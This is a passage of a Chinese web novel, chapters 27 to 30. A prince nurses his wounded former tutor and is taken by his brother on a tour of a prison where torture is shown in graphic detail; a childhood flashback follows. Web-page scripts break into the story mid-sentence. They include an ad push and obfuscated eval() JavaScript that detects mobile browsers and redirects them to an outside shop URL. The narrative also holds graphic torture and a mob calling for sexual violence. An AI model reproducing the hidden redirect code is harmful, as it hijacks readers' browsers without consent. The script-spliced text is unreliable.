——华云舒可是神医后人啊,吃了几天药,他应该不会再胃疼了吧? 顾棉心下忐忑,扑通扑通直要跳出嗓子眼。 ——算本王求你了周卜易,你赶紧好起来,正常吃饭吧…… 天天要他喂,跟个小奶娃一样。 还是个漏嘴巴。 顾棉有些心酸地笑了。 周卜易看见他这笑,轻皱了眉,“怎的?不乐意喂就算了。” “左右奴不过是个卑贱之人,劳不得王爷纡尊降……” 顾棉脸一沉,直接一勺粥堵了周卜易的嘴。 他最讨厌周卜易的舌头了!不是一针见血戳人心窝就是各种冷嘲热讽! 好好的美人,怎么就长了张嘴! “吃你的饭!”顾棉语气冰冷,“本王就该拿那漏斗再倒进去!” “本王还管你做什么!” 顾棉一边吹粥,一边瞪着眼睛生闷气。 怎么每次刚有那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么点温情,刚有那么点……就要被这混蛋打断! 他是对温馨过敏吗! 不识好歹! 顾棉气呼呼喂完了粥,然后怨气冲天走到外面,实在没忍住爆了粗口,“来个人给他擦嘴!本王真是欠了他的!草!” 他走了两步,终究还是不放心,对那婢女嘱咐道,“轻点擦听见没?擦疼了本王唯你是问!” 华云舒本在檐下躺椅上躲懒,听见动静一个激灵就要爬起来开溜。 可惜为时已晚,顾棉刚好偏头看见了他落荒而逃的背影。 “站住!”顾棉皱起眉头,“你手轻,你进去给他擦!” 华云舒一抖,随即无奈转身,脸上挂着生无可恋的神情,拖着沉重的脚步进去了。 ——他真的不想独自面对大人啊喂! 顾棉走出府门,高高的台阶下,有一辆马车似乎已经等了很久。 顾承年撩开帘子,冲他笑。 “这么贪床?用午膳了吗?” 顾棉轻轻点头,道,“谁能知道问青天卖了本王一个病秧子,本王昨夜不大尽兴……” 顾承年思索了一下,轻笑,“阿棉没出过神都吧?” “南方多水乡,那边的姑娘都很水灵,我想阿棉应该会喜欢。” 顾承年轻咬下唇,似是有些难以启齿。 “皇兄想说什么?”顾棉主动开口。 “阿棉…可不可以帮帮为兄?”顾承年眼露无奈,“神都局势有些复杂,为兄走不开,阿棉过两日跟着商队下江南,帮为兄去那边坐镇好不好?” “阿棉什么都不用做,只要人到了就行”,顾承年轻轻揉了揉眉心,“你可能是唯一不会被太子针对的人了……太子想要清算为兄,为兄总得留点后路……” 顾棉很快从这话里察觉出不对劲。 顾君颐已死,他的两位皇兄没道理还这般惯着他,不对他出手。 一定是有旁的什么缘由牵制着他们不能出手…… 顾棉不动声色点点头,“皇兄…我想去江南玩,可……那里只有姑娘好看吗?” 顾承年一愣,随即轻笑,“倒是为兄忘了,那边也有很多漂亮小倌的,可能比之那衍仙儿也不遑多让。” “不过为兄没见过那衍仙儿,不知道是怎样一个人物”,顾承年眼带笑意望着顾棉,“只是水乡多养柔骨,那边的人与神都人有不一样的特色。” “阿棉,你要是舍不得那衍仙儿,皇兄想办法找些补药叫商队一并带上,这样你也不用怕他死路上了。” 顾棉又点点头,道,“皇兄对我最好了,除了父皇,我最喜欢的就是皇兄。” “皇兄是我最亲的人,我会帮皇兄的。” 顾承年眼中闪过一丝欣喜,“你真这样想吗?阿棉,你长大了许多,也不算为兄白疼你了。” “去了南方,不要委屈自己,拿着为兄的令牌,为兄的钱你随意花。” 顾棉装傻充愣,嘿嘿傻笑了一声。 顾承年见他如此,伸手摸摸他发顶。 “皇兄有阿棉就够了,你我相依为命不比那孤家寡人好多了?太子哥哥就是看不破,其实我根本不想与他争。” 顾棉看着顾承年眼底藏着的不甘,心中冷笑——你不想争才有鬼。 马车减速,很快停下,前面就是诏狱。 27.你可知人间有炼狱 大门口处是两只庄严肃穆的石狮,散着寒光的石眼睛令人望而生畏,那石头做的狮子,毛发却栩栩如生,似真狮那般火红。 顾承年轻轻屈起一指,刮了刮狮子鼻头。 他的食指关节内侧便染上暗红。 “阿棉,你知道这是怎么上的色吗?” 顾棉伸手,紧紧攥着顾承年袖子。 “乖,不怕”,顾承年轻声笑笑,“不全是人血,也有牲畜的。” 衣袖那头明显一抖,顾承年更笑,从衣襟里摸出手帕,擦去指上那道暗红。 “阿棉练练胆子也好……”顾承年一根一根掰开顾棉的手指,“没进去呢,不至于这么怕。” 顾棉万分不舍松了手。 顾承年慢条斯理将手帕叠好,放回内侧衣袋。 然后闲庭信步一般,率先跨上台阶。 那台阶似是血迹未干,一踩就是一个印。顾承年似乎不大高兴,轻皱了眉,然后温和道,“你们去给三爷垫脚,别脏了我们阿棉的靴子。” 立时便有九人上前,依次趴在台阶上。 顾棉抬头看阶上那人,那人仍挂着温和的笑,“上来啊?阿棉怎么不动呢?” 面前人披着的羊皮似乎下一瞬就要裂开,从里面钻出的不知是恶狼还是厉鬼。 顾棉没有再迟疑,踩着守卫的脊背,踩着这张活人制成的地毯,走到顾承年身边。 顾承年似乎很享受顾棉的仰视,这让他心情愉悦了不少。 沉重的大门被缓缓拉动,好似一只慢慢张开血盆大口的深渊巨兽。 门里是漆黑,是未知的恐惧。 鼻尖的血腥味很淡,但不容忽略。 顾承年的笑容很浅,他好像完全不在意这恐怖的氛围。 “跟紧了”,顾承年的脚步有些空旷,与回声荡在一处,顾棉一时竟分不清究竟是有几人在身边。 没有想象中惨烈的景象,顾承年带着他进了一个小房间,里面被点亮了数十支蜡烛,却依旧昏暗如初。 顾承年往桌前一坐,再拿起毛笔,只一勾一划。 就像极了那地府里的判官! 可那判官却笑得温温和和,“稍等一会可以吗?” 一顿,目光下移,放在顾棉轻颤着的双腿上,继续,“阿棉要是站不住,就去那椅子上坐一会。” 再笑,依旧是温温和和,“这地方不是随便能进的,为兄先替你写份文书,免得太子哥哥降罪。” 顾棉点点头,十分自觉地找了个角落坐了。 顾承年满意他的听话,却仍做着满脸愁容,“从前进学的时候,太子哥哥就总欺压于我。” “昭仪之子,怎么比得上皇后嫡子”,顾承年幽幽叹息,“阿棉,你说人为什么生来就有贵贱嫡庶、三六九等呢?太子哥哥生来尊贵,哪里管天下黎庶死活,若我……” “不说这些了……”顾承年又笑起来,“太子势大,一旦清算皇兄,为兄便只有你了。” 顾棉重重点头,心里却早把这该死的老狐狸骂了个从头到脚。 ——你清高,你伟大,你心怀天下,唯愿众生平等。 那刚刚本王踩的是什么? 顾承年写完了文书,又拿起桌上一块特属诏狱和锦衣卫的牌子,走到顾棉身前,弯腰给他挂在了衣带上。 “好了”,顾承年直起身子,将手递给顾棉,“走吧阿棉。” 顾棉没握那只手,他低着头抓着衣服下摆,装出一副怯懦的样子。 “阿棉?”顾承年蹲下来,看见顾棉抿唇的样子,不由放轻声音,“没事的,隔着栏杆呢,为兄会保护阿棉的。” ——有时候养养小宠物还是挺有乐趣的。 顾承年微眯了眼,眉毛弯出好看的弧度。 “阿棉不是想整人吗,走,跟为兄出去看看。” 顾棉没怎么抗拒,半推半就被顾承年挽了胳膊,一道走出去了。 很暗,壁灯不怎么亮,顾棉不知道怎样形容,他只觉得四周皆是化不开的墨,那墨汁甚至还会吸光。 不,更像是被包裹在血液里。这里的空气太潮湿太阴冷,若有人长住此地,怕是骨头都能渐渐烂掉。 湿气化作雾,衣衫黏在身上,湿哒哒被风一吹,就是锥心刺骨的寒意。 分不清,是湿气还是冷汗。 廊上灯光闪烁忽明忽暗。 其实这过道并不长,只是太压抑,太有存在感。 走完过道,掠进眼底的,便是吊在空中那一具具完全赤裸的躯体。 “小孩子的把戏罢了,没什么好看的”,顾承年笑容很浅,“这个啊,叫荡秋千。” 顾承年一挥手,立时有锦衣卫上前,抓着拴在他们脚踝的大石块往对面荡去。 “对付硬骨头有奇效,毕竟谁能忍受指头一点一点被吊到断的痛苦呢?” 顾棉这才看见,他们头顶的绳索,竟只栓在了一根手指头上! “皇兄好厉害……”顾棉半阖了眸子,“父皇把锦衣卫和诏狱交给你,果然是正确的……” ——周卜易,你是否,也…… 奉源二十一年春,周卜易风尘仆仆纵马入神都。 等着他的不是迎接英雄凯旋的百姓,是圣旨和锦衣卫。 顾棉不在人群中,母妃将他锁在了偏殿。 那时候有多崩溃呢? 顾棉不知道。 他只知道自己找了一圈也没有趁手的工具,于是固执地用自己的拳头一下一下砸着窗棂。 鲜血淋漓,伤可见骨。 他不停,碎木扎进手背的时候,他一边哭一边笑。 “周卜易……周卜易……” “快了……快了……”顾棉就专盯着那满是尖利木刺的缺口砸,“快了!本王…本王马上到!” “大不了造反……大不了我们远走高飞……找个地方藏起来…隐居。” “造反,远走高飞?”母妃站在门外,听着里面的动静,“那我呢?你不要母妃了是吗?” 顾棉的拳头顿了一下。 是啊,母妃怎么办?她会被赐死的吧? 怎么办呢? 顾棉抹了把泪,“一起走……” “娘哪也不去”,母妃的声音也带着哽咽,“娘的阿棉不要娘了,娘找条白绫吊死算了……” 更深的绝望仿佛要将顾棉灭顶,而那之后,是深深的无力感。 顾棉泪流满面,然后重复着之前的动作。 咚——! 咚——! “阿棉…阿棉!”母妃唤了他很多声,他一声也没有应。 “我的儿啊你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941825|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸了…算娘求你了……娘不逼你了……娘开门,你喝了这杯茶润润嗓子再去好不好……” 许是太担忧以至于昏了头?许是觉得母妃心软了? 顾棉无比后悔喝了那杯加了料的水。 再醒来的时候,门敞开着,而他只能望着那扇门,永远望着。 母妃从小瓷瓶里倒出漆黑药丸,每天强行喂他一颗。 他就瘫着一点力气都没有了,他神经好像被麻痹了,转转眼珠子都迟缓。 每天有人喂他吃饭,喂他喝水,母妃断了他的念想却又不许他去死。 那是一种什么样的绝望呢? ——明明四肢健全,却只能躺在床上数着日子,等着心上人的死期。 周卜易……你别死……你别死啊周卜易…… 你再等等……再等等好不好……求求你……求求你了…… 先生…你死了…我还怎么活……我要怎么才能说服自己有勇气继续活? 没事……没事……还有机会……还有机会的! 狗皇帝说的是秋后问斩,现在还早,还有时间! 顾棉与自己的无力做了长达两个半月的斗争。 他尝试着动手指,然后是手腕,然后渐渐能抬起胳膊。 他白天装作心如死灰,一动不动补觉。 夜晚他一遍遍试着用手搬动腿。 ——快成功了!就差一点!也许明夜就能…… 明夜就能逃出去……救你了…… 周卜易……你坚持住啊…… 一如从前的每一次失望,周卜易在让他失望这件事上从来不遗余力。 比问斩先到来的,是周卜易在狱中自尽的消息。 可是这次玩笑真的开大了啊,他受不住……他真的受不住。 周卜易的死讯很快传遍神都大街小巷。 没人惋惜一位英雄的逝去,在他们无比圣明的陛下的有意引导下,周卜易俨然已经成了十恶不赦的叛国贼。 昔日景仰尽数变成了恐惧。 “死得好!死得好啊!” “快哉!快哉!” “哈哈哈!天不亡我朝歌!若叫周卜易拿下南方,只怕朝歌弹指可灭!” “周卜易就是活该!千刀万剐的叛徒!君恩浩荡,皇上对他够好了!谁知道养了这么条白眼狼!” “死了太便宜他了!鞭尸!必须鞭尸!走,我们一同去请命!我们要鞭尸!” “欸~你们啊,不是我说,你们真是暴殄天物!” “怎么说?” “哎唷,那周卜易一张脸呐,据说很小的时候就长得倾国倾城啊! “他去边南关随军十年,只怕身段出落得越发可人儿了! “我看啊!这鞭尸老戏码了没什么意思,要不咱脱了裤腰带,把他给轮了吧!” 人群的呼声瞬间高涨,妇女们羞红了脸,捂着眼睛背过身去,那些男人却不管那么多,当街便要白日宣淫。 他们怀着龌龊的心思,却还是打着鞭尸泄愤的旗号,因为不敢去诏狱,就一同来到衙门前。 群情激奋,似乎不交出周卜易的尸体,就不足以平民愤。 可衙门又怎么交得出来,那尸体早不见了。 许是被哪个愤怒的刁民先盗去,百般摧残后挫骨扬灰了吧。 28.以后不吃苦了 所有人都坚信不疑周卜易已死的时候,只有顾棉在自欺欺人。 醉生梦死吗? ——不觉得,只是不相信你这般容易就死去而已。 更遑论死后声名狼藉。 酒坛堆了满殿,为什么他总是喝不醉呢? “长教训啊小殿下。 “要做一个清醒的醉客。” 原来他早在那么多年以前就醉了,原来他这么多年来,竟从未想过要醒。 周卜易…… “阿棉,你看,那边在做刺绣。”顾承年的声音让顾棉回过神来。 他目光平视,看见狱卒将一根针顺着犯人指甲盖一点点旋进去,直到针尾彻底消失不见。 “这针有点特殊,是为兄倭国的友人教的”,顾承年温声解释,“就不详细说了,阿棉可是要噩梦的,走吧,别在这里停太久。” 原来是倭国吗?顾棉眼中寒光闪过,只一瞬,就换成了胆怯。 顾承年不疑有它,领着顾棉往前走。 你可曾见过剥皮三日不死的活人? 顾棉瞳孔地震,看着狱卒将那张沾满血和污垢的人皮捡起来,用针线一点点缝回那奄奄一息的人身上。 狰狞,扭曲,诡异。 顾承年浅浅笑着,与这气氛是如此格格不入。 他笑着,像一位张开双臂的神,温和的光笼罩在他周身,然后他轻声说,“还不错吧?这个就叫做添衣。” “阿棉,天气转凉了,你啊,记得添衣加食”,顾承年轻拍顾棉手背,“为兄要是不帮你备披风,你能傻乎乎给自己冻死。” 没有多少责备的口吻,像极了最寻常自然不过的关心。 “说起来,也快到开饭的时候了”,顾承年意味不明笑笑,“阿棉想看看诏狱是怎么加食的吗?” 不等顾棉回应,顾承年轻轻拍手,一队队提着桶的狱卒从二人身后走出来。 桶里是些稀稠的杂物,顾棉看到那些狱卒似乎并没有给犯人发碗的打算。 下一瞬,顾棉便眼见着狱卒们用大瓢舀了一勺,贴着栏杆倒在了地上。 想吃到那些“食物”,就必须趴在地上,像狗一样努力将舌头伸出栏杆外。 根本就舔不了多少,而剩下的那些也不会有人清理,就任它发了馊,又与明日的泔水混在一起。 这根本就不是人吃的东西!那桶里装的是喂猪的泔水! 即便这样,栏杆里的人还是拼了老命去舔舐。 “很有意思吧?”顾承年轻笑,“一会看着点路,当心别踩到了,怪脏的。” “哦,对了,为兄记得阿棉小时候,那高傲得不得了的周卜易没少欺负你呢”,顾承年语气带着丝丝宠溺,“为兄替你报仇了,这狱里的苦头,短时间不致命的他可是全受了个遍。” “刚进来这里的时候,他还闹绝食呢,他跟那些平民不同,伙食算好了,跟小皇叔一样每日都有一个馒头一碗粥,他居然一口都不肯动,还泼了本王一身。” 顾承年看了顾棉一眼,顾棉低着头,看不清脸上神情。 “不过那有什么呢,你兄长我啊,最擅长的就是熬鹰。” “他桀骜不驯又如何呢?若当时早些察觉他存了死志,早些阻止…… “为兄也许就可以顺利打破他的精神,把他彻底训成一条听话的狗。” 穿过一个个炼狱般的刑堂和狱房,长长的隧道隔绝了一处与众不同的房间,即使离得很远很远,也能闻见里面比外面浓郁太多的血腥气。 门口滑出一些红褐色的块状物,那是……大量血凝成的血豆腐。 大门上挂着牌匾,书着二字,“佛堂”。 影影绰绰,似乎看见里面供着一尊大佛,还有人在跪拜。 越是走近,血腥味越是浓郁。 顾承年叫人进去点了油灯。 青灯燃起,古佛庄严。 那些跪拜的信徒膝下,却不是什么蒲团软垫。 是一块有着密密麻麻小指长短的针的木板! “那些人性子太浮躁了”,顾承年望着他们的目光,没有一丝感情,“多拜拜佛,能清清心静静神。” “我佛慈悲”,顾承年双掌合十,对那慈眉善目的佛像缓缓躬身。 顾棉跟着躬身,顾承年忽然笑道,“阿棉听了定然欢喜。” “那周卜易打破了这佛堂自建立始的记录,他在里面跪了整整五十一日。到最后为兄都有点佩服他了。” “他太烈了,好不容易按着跪了,他还要硬生生从针板上拔出腿站起来咬人,为兄最后只能搬个石板压着他的小腿,叫他不得动弹,这罪是他自找的,本来不想太狠的。” “是他不肯服软,所以总是自讨苦吃。世人都说他聪明绝顶,为兄偏不这么看。 “他太笨了,都已经跌落神坛滚进尘埃里了,也不知道低头让自己好受些。” “可惜”,顾承年叹了一口气,“为兄是真的欣赏他,想重用他的。” 顾棉从刚才起就一直低着头,攥着拳,浑身颤抖。 他不敢抬头,抬头必是满目血海翻涌! 他不敢松手,松手必然控制不住要拔刀! 他停不下这颤抖,心中绞痛一如得知周卜易死讯那刻剧烈! 别说五十一天,就是五十一秒都如此难熬! 那里面的人无疑不是刚跪下去就立刻求饶招供。 那针有凹槽,血液会源源不断顺着木板汇集到地面。 那一块块厚厚的血豆腐是积累了多少人的血啊? 五十一天! 顾承年,你是真该死,你真的该死啊! “怎么了阿棉?”顾承年发觉顾棉不太对劲,伸手揉了揉他的发,“没这么可怕吧?” 还有好多地方没看呢…… “罢了,阿棉毕竟少见这些,我们先出去吧……” 一直走出诏狱大门,顾承年停下脚步,“皇兄派人送你回去,等你考量好了,随时找皇兄,不管那人是谁,皇兄一定叫我们阿棉满意。” ——那个人就是你啊,我亲爱的皇兄。 你最好是真的能让本王满意啊,皇兄。 不然我自己都不知道我会怎么整死你啊。 马车渐渐远去,踏上返程的路。 夕阳西下,顾棉站在容王府门口,看着马车越走越远。 他怀着沉重的心情,一步步走向内院。 周卜易啊…… 都过去了,往后咱们再也不吃苦了,本王的糖都是你的。 顾棉开门的动静有点大,周卜易诧异抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948592|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,就看见顾棉眼睛红红的,鼻头也红红的。 果然,小孩子就是小孩子,出门的时候还气得不行,回来就都抛诸脑后了。 周卜易挑了眉头,“怎么了这是?爷让谁欺负了?” “跟奴哭不好使”,周卜易翻了个白眼,“托爷的福,奴还是躺着吧。” 周卜易,你不知道,此时此刻,本王看着你的冷脸也高兴。 顾棉在周卜易逐渐放大的瞳孔注视下爬上了床,他小心翼翼不敢碰到周卜易,却又想方设法离周卜易再近一些。 他颤抖着手指,指腹贴在周卜易眼角。 然后他阖了眸。 周卜易,那时候,你有没有因为太痛落泪呢? 周卜易,你别哭,哭了本王也拭不到你的泪…… “爷怎么还哭了呢”,周卜易的叹息很轻,如一阵太微弱的风,“怎么又哭了呢?多大了棉姑娘?满三岁了吗?” 顾棉的声音有些闷,“没有……” “没有满三岁?” “没有哭……” “那就请爷自己擦擦脸上糊的口水好吗,怪恶心人的。” 顾棉正准备抹眼睛的手一顿,然后垂下来。 ——不擦了! “周卜易!你的舌头真的好讨厌……” “谢谢夸奖,您谬赞了。” “可是本王不讨厌……” “……” 顾棉等了很久,也没听见回声,他便去看周卜易的脸。 周卜易也正在看他,且还是用一种特别奇怪的打量的眼神。 “顾小棉,你姓什么叫什么字什么?” 周卜易问得认真,顾棉愣了一下,照实答了。 周卜易眸中疑惑更甚,“华云舒拿你试过新药?” “不能吧?脑子都喝坏了?” 顾棉这才反应过来,瞬间黑了脸。 “你……” 一颗真心全错付给了这毒舌的鬼! 可那是他自己愿意的不是吗? 顾棉暗下神色,声音渐柔,“你有没有乖乖吃药?华云舒跟本王说了,只要坚持换药上药,四五天左右这点外伤就能愈合。” 周卜易眼神有些闪烁,看着像是心虚。 顾棉声音略沉,却终究没舍得说重话。 从那地狱出来后,他的耐心好像可以无底线扩大。 “怎么回事?” “喝不喝的,该好自己会好的,爷别瞎操心了,有这功夫不如……” “怕苦?”顾棉直接一语道破真相。 “周卜易你是不是怕苦?”顾棉撑起脑袋,直勾勾盯着周卜易的眼睛。 美人无奈垂眸,“不是,但确实也不喜欢就是了。” 小时候吃的苦实在太多了,周卜易着实不愿意去回忆过去。 周卜易再一抬眸,身边人风风火火爬起来,赤脚出去了。 周卜易轻蹙眉,死孩子,都入秋了还光着脚丫子,也不怕以后得老寒腿。 再进来的时候,顾棉一手端着一碗药,一手躺着一颗糖。 “本王问过华云舒了,加些糖不影响药效”,顾棉把奶糖放在一边,拿起勺子,“这药是甜的,本王先尝了……” “奴都说了奴不喝爷口水……唔……” 29.拜个师还别别扭扭 吻下去前,顾棉有些自暴自弃地想,被咬一口就被咬一口吧,就是混着血,也先把药喂进去再说。 他闭上了眼睛,等着这性烈的猫儿咬破他舌尖。 等了很久都没有,事实上,周卜易连咬人的力气都快要没有了。 他小心翼翼睁开眼,美人厌恶的眼神是如此戳痛他的心。 先生不爱他,也不认为他们之间该有情。 先生护他,不过是因为护龙一脉选择了他罢了。 顾棉好难过,他如获至宝满心欢喜送进口中的那捧槐花,实际却只是雪原上的冰碴。 既不甜,也不香,寒心又碜牙。 顾棉端起碗,拿勺子舀了药。 “本王没骗你……不苦。” 周卜易凉凉笑了声,“尝不出来,只有爷口里的……” “本王漱口了……”顾棉打断道。 周卜易缓缓移动眸子,正好能完完整整看见顾棉的样子。 顾棉低着脑袋,眼睛盯着那只碗和碗里的药。 药汤泛起涟漪,是什么滴落碗中? “别加料了”,周卜易语气很淡,“已经足够难喝了,再加点泪咸,那是个什么味儿?” “本王管它什么味”,顾棉把勺子放到美人唇边,“要么你现在张嘴,要么一会本王来灌……” 怎么灌顾棉没说,周卜易与他僵持了一会儿,终是妥协。 顾棉将空碗搁在桌上,拿起放在旁边的奶糖。 指尖有点颤,剥开糖纸本是件再简单不过的小事,可顾棉低着头剥了很久。 很久之后,顾棉把糖塞进美人口中。 周卜易忽然感到眼皮上砸下一颗水珠。 顾棉不想哭的,可他已经在周卜易这丢了这么多面子了,多这一次又能怎么样呢。 周卜易动了动睫毛,顾棉的泪就顺着他的睫毛滑落,挂在他眼角。 “水做的吗棉丫头?”周卜易含着糖,声音不自觉柔和了一点点,“小姑娘,你是不是要化了?嗯?” 顾棉又不说话了,他只是沉默又认真地叠着糖纸。 那是他母妃的……遗物。 那是他母妃故国送来的。 要好好……收起来才行。 顾棉叠完了糖纸,就开始收拾屋子。 他没事找事把内屋所有东西都摆正,实在避无可避之后搬来了小凳,坐在床边发呆。 周卜易不知道他在纠结什么,他像是有话要说,又扭捏着不知道怎么开口。 又看了他一会,周卜易叹息,“爷发够疯没有?到底想做什么?” 顾棉猛抬头,又很快垂了下去。 是不想说,还是不敢? 顾棉在心里问自己。 他应是很想说的,他想了快二十年了。 可是每一次说出后都是冰冷的拒绝。 他已是犹如风中残烛,再受不得一点寒气了。 会灭的,真的会灭的。 “周卜易…你……”顾棉深吸一口气。 美人神情难得认真,可等了半天也没等到下文。 从小就这么个性子,说个心事比叫他去死还困难。 周卜易轻呵一声,道,“爷还说不说了?不说以后都别说了。” 非得叫人激一激他,他才肯开金口。 美人微眯起双眸,“奴困了,就不候您了。” “你…本王……”顾棉无处安放的手揉搓起自己的衣袖来,揉出一道道褶皱。 “本王……” 周卜易眼见着顾棉脸色越来越红,还是三杆子打不出一个屁,不由有点好笑。 小姑娘长大了,怎么还是个姑娘。 “别绷”,周卜易微微叹息,“好了,放松,没那么羞,要干什么直说就是了……” 顾棉反而愈发绷紧了身子,像极了个正被人调戏的小姐。 顾棉的声音如蚊蚋一般,并且大有越来越小直接听不见的趋势,“你……你先前说……” 顾棉吸了下鼻子,没忍住哭腔,“还算不算了……” “什么算不算?”周卜易挑眉,唇角勾起,似笑非笑,“奴身子不行,耳朵也不大好使,听不大清。” 十年了,混蛋周卜易还是那个混蛋周卜易。 他明明是听清了吧? 顾棉咬住唇,不肯再说。 只一瞬,周卜易的笑就敛了,取而代之的是冷淡。 “心气儿高成这样,爷要奴怎么收?”周卜易微皱起眉,“说个话就羞死你了?” “我倒是收你,你肯跪吗?” 周卜易的语气也冷,“爱拜不拜,不拜滚。” 顾棉攥紧了手指。 到底谁心气高啊?王八蛋周卜易还跟从前一样喜怒无常难伺候! “本…本王跪了,你是不是能用心养病……” 是不是能,多个念想,多一个活的念想? 为什么本王总觉得,你好像并不介意死去呢? 顾棉一想到这里,心脏就揪作一团,痛的不得了。 先生……你可不可以为了本王好好活下去…… 本王……求你…… 顾棉掀起衣袍,顶着那道让他脸颊发烫的视线,就这么直直跪了。 “咚——”的一声,听得周卜易牙酸。 这傻孩子,那么大力做什么?!膝盖不要了?! “原来做的是这个打算”,周卜易皮笑肉不笑,“爷果然是好得很。” 都叫了那么多回先生了,一个名分而已,有那么重要吗? “拜师第一天就算计你先生……”周卜易一顿,忽然低笑,“倒是对胃口。” 顾棉慢慢站起身,拍拍灰,若无其事坐回小凳上。 只是通红的耳尖和颤抖的声音出卖了他。 “周卜易,本王希望你记住”,顾棉低头望着他的美人,“你先是本王私奴,后是本王先生。” “先论主奴,再论师生”,顾棉一字一句说道,“你永远不能忤逆本王。” “本王要你活着,你……” “知道了知道了,爷快点滚吧”,周卜易闭上眼睛,“啰里吧嗦的烦死人了。” 顾棉纹丝不动,只自顾自说着,“本王今日去了诏狱。” 看着美人忽然睁开的眼睛,顾棉顿了一下,继续,“去找了顾承年。” 周卜易轻哦了一声,不咸不淡道,“怎么?” “后日出发,你要跟本王下江南……” 周卜易悄悄松了一口气。 还好不是发现徐归山曾在那里…… 回忆太久远,记不起那天的竹林里,透过来的究竟是初升还是黄昏的阳光。 彼年他看着徐川的背影,徐归山整个人好像要完全溶进金红旭日里。 “大人……”徐川听见动静,转过身来,略显沧桑的面容,胡茬又生了几根。 周卜易正坐在台阶上,见他转身,便低头把视线挪回书里。 “归山去了”,徐川单膝跪地,“归山走后,这里就只剩大人一个人了。” “大人晚上看书要点油灯,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958910|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还小,别早早就看坏了眼睛。” 周卜易并不回答,他用他们,也防他们。 有人没人,有什么区别吗。 “大人……”徐川眼中的情绪他实在不懂。 那是……怜悯吗? 周卜易骤然冷了神色。 “你在可怜我?” “不敢” ,徐川低下头,“只是觉得,您才六岁,不应该……” “徐川,你休沐太久,晚了恐朝歌国君生疑,你还不快走。” “是”,徐川站起来,然后一步步走出竹林。 阳光越发明媚了,周卜易只觉得竹简上的字刺眼。 他走进自己的小屋,掩上门。 屋里几乎没有能落脚的地方,床头、桌案,甚至地面都堆满了竹简和古籍。 早就比他人高了,他从那一堆堆书墙里走到榻前。 那床没有铺任何东西,就只是几块硬竹板拼在一起,没有床单,也不垫茅草。 他靠在床头,有一时失神。 他以后要辅佐的人,会是什么样子呢? 周卜易自幼就很聪慧,人还没选定,他就已经猜到了。 所以温妃什么时候能怀上呢? 想到这里,周卜易忽然有些烦躁——如果怀的是个娇气的丫头,可怎么办呢? 罢了,大不了先替她铺好路,她只管照着走就是了。 养丫头可麻烦了,以后她要是喜欢掉眼泪,那自己是温柔一点,还是凶一点呢…… 要不还是凶一点,吓得她不敢哭就好了。 哄的话要哄好久呢,他时间真的很紧张啊。 唉,烦死了,一帮老顽固巴巴的上赶着找人辅佐,为什么不能自取皇位…… 周卜易只想了一会,就又埋头读书。 这十本今天是必须背的滚瓜烂熟的…… 看着看着,字就看不清了。 原来天已经那么黑了吗? 周卜易挑灯夜读,腹中空空如也,但这屋里是不可能有吃食的。 他每日只能小憩一会,然后在天亮前准备上山,山路上会有无数机关陷阱等着他,稍有失误就能要他的命。 山很高,但他速度必须要快,午时到不了山顶,那日他的冻粥就会被倒去喂狗。 他早已习惯了不是吗。 生存,读书,应付不知道什么时候就会出现的各种刺杀或者刁难,然后在遍体鳞伤与吃尽苦头后慢慢成长为一个合格的护道人。 到了那时候,他便可以走出竹林,去外面统筹布局。 他通过考核的那一年才十二岁,那一脉说,他是有史以来最有智谋的护道人。 有史以来唯一一个还没成年就有资格走出竹林的护道人。 也是心性最好的那一个。 他似乎生下来就近乎无情,他聪明,戒备心高,他心狠,对别人狠,对自己更狠。 这样的人,最能顾全大局。 周卜易一度自己也是这么认为的,直到他第一眼看见自己那个小主人。 那时候顾棉还不记事呢,跟个小鹌鹑一样喜欢钻他袖子。 周卜易拖他出来,他就哭着继续钻。 看吧,果然他当年想的不错。 养丫头是真麻烦啊。 那个时候,周卜易问了自己一个问题。 如果一统天下和保全顾棉只能选一个,他还会不会顾全大局。 不会,周卜易无奈看着怀里的小鹌鹑。 没有为什么,顾棉是他之主,顾棉才是他的大局。 30.本王带你回家 不知是从哪一刻起,王府陷入死一般的寂静。 府中家仆已经用过晚膳,各自回房歇息了。 “别走神”,顾棉轻触美人发丝,“看着本王。” “什么都不要想,什么也不许看,除了本王的眼睛。” 周卜易,别怕天会黑。 本王的瞳仁正好对着烛火,本王的眼睛里有光。 看着我吧,一直到天亮。 周卜易的发丝很柔顺,跟他本人完全不一样。 顾棉的手很轻,生怕弄断它们一般。 在他指腹流连的,究竟是什么呢? 是青丝,还是情丝? 顾棉看着周卜易,好像要把这一眼望穿。 凝视久了,就发现周卜易的鬓角又添了雪发。 